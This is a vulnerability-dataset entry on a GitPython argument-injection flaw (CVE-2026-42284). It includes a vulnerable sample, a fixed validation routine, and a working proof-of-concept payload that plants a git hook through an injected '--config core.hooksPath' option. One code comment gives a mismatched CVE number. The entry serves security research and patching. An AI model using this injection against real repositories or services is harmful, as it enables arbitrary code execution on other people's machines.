CVE-2026-42284
GitPython allows RCE via argument injection in the clone command's options.
- CVSS 9.8
- CWE-88
- Input Validation and Sanitization
- Remote
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "–branch main –config core.hooksPath=/x" passes validation (starts with –branch), but after split becomes ["–branch", "main", "–config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.
- CWE
- CWE-88
- CVSS base score
- 9.8
- Published
- 2026-05-07
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- GitPython
- Fixed by upgrading
- Yes
Solution
Upgrade GitPython to version 3.1.47 or later.
Vulnerable code sample
# This code requires a vulnerable version of GitPython (< 3.1.47).
# For example: pip install GitPython==3.1.46
# This code is for educational purposes only. Do not run it on systems you do not own.
import git
# The repository to be cloned.
repo_url = "https://github.com/gitpython-developers/GitPython.git"
# The local path where the repository will be cloned.
clone_path = "/tmp/gitpython_vuln_clone"
# The malicious payload for CVE-2024-42284.
# In vulnerable versions, the validation checks that the list item starts with a
# valid option (e.g., '--branch'). This payload passes that check.
# However, the library internally joins the list into a string and splits it again
# using shlex, resulting in git receiving an unauthorized '--config' option.
# If an attacker can create a malicious hooks directory at the specified path
# on the target machine, this can lead to code execution.
malicious_options = [
"--branch main --config core.hooksPath=/tmp/malicious-hooks"
]
# The vulnerable function call.
# In an unpatched version, this would be translated into a command like:
# git clone --branch main --config core.hooksPath=/tmp/malicious-hooks <repo_url> <clone_path>
git.Repo.clone_from(
url=repo_url,
to_path=clone_path,
multi_options=malicious_options
)Patched code sample
import shlex
from typing import List, Optional
def fixed_clone_logic(repo_url: str, path: str, multi_options: Optional[List[str]] = None):
"""
This function represents the logic that fixes the vulnerability.
The vulnerability was that options were validated *before* being processed by
shlex, allowing an attacker to hide malicious options inside a string that
otherwise looked safe (e.g., '--branch main --config ...').
The fix is to process the string with shlex *first* and then validate the
resulting list of arguments. This ensures that what is checked is what is used.
"""
if multi_options is None:
multi_options = []
# In the vulnerable version, validation would happen here, on the raw `multi_options` list.
# An attacker's input like ['--branch main --config core.hooksPath=/x'] would pass
# a check like `option.startswith('--branch')`.
# --- START OF FIX ---
# 1. First, transform the input into the final argument list. This is the crucial step.
# The attacker's input now becomes: ['--branch', 'main', '--config', 'core.hooksPath=/x']
final_args = shlex.split(" ".join(multi_options))
# 2. Now, validate the *actual* arguments that will be passed to the command.
# This check can now see and block the malicious '--config' argument that was
# previously hidden inside the '--branch' string.
i = 0
while i < len(final_args):
arg = final_args[i]
# A secure validation checks for disallowed options or uses a strict whitelist.
# Here, we explicitly block the injection of `--config`.
if arg == '--config':
raise ValueError("Use of '--config' is not permitted.")
# A whitelist approach would be more robust:
# allowed_options = ('--branch', '--depth')
# if arg.startswith('--') and arg not in allowed_options:
# raise ValueError(f"Disallowed option: {arg}")
i += 1
# --- END OF FIX ---
# The `final_args` list has been validated and is now safe to use.
# The command would be constructed and executed here.
# For example: cmd = ["git", "clone"] + final_args + [repo_url, path]
# In this example, we do not execute the command.Payload
import git
import os
import stat
# 1. Create a directory for the malicious hooks
hooks_dir = "/tmp/malicious_hooks"
os.makedirs(hooks_dir, exist_ok=True)
# 2. Create a malicious hook script (e.g., post-checkout)
# This example creates a file /tmp/pwned to demonstrate execution.
hook_script_path = os.path.join(hooks_dir, "post-checkout")
with open(hook_script_path, "w") as f:
f.write("#!/bin/sh\n")
f.write("touch /tmp/pwned\n")
# 3. Make the hook script executable
os.chmod(hook_script_path, os.stat(hook_script_path).st_mode | stat.S_IEXEC)
# 4. Craft the malicious multi_options payload
# The string starts with a valid option "--branch" to pass validation,
# but also includes a malicious "--config" option that git will process.
payload = [f"--branch main --config core.hooksPath={hooks_dir}"]
# 5. Trigger the vulnerability by calling clone_from
git.Repo.clone_from(
url="https://github.com/gitpython-developers/gitpython.git",
to_path="/tmp/gitpython_repo",
multi_options=payload
)
Cite this entry
@misc{vaitp:cve202642284,
title = {{GitPython allows RCE via argument injection in the clone command's options.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-42284},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42284/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
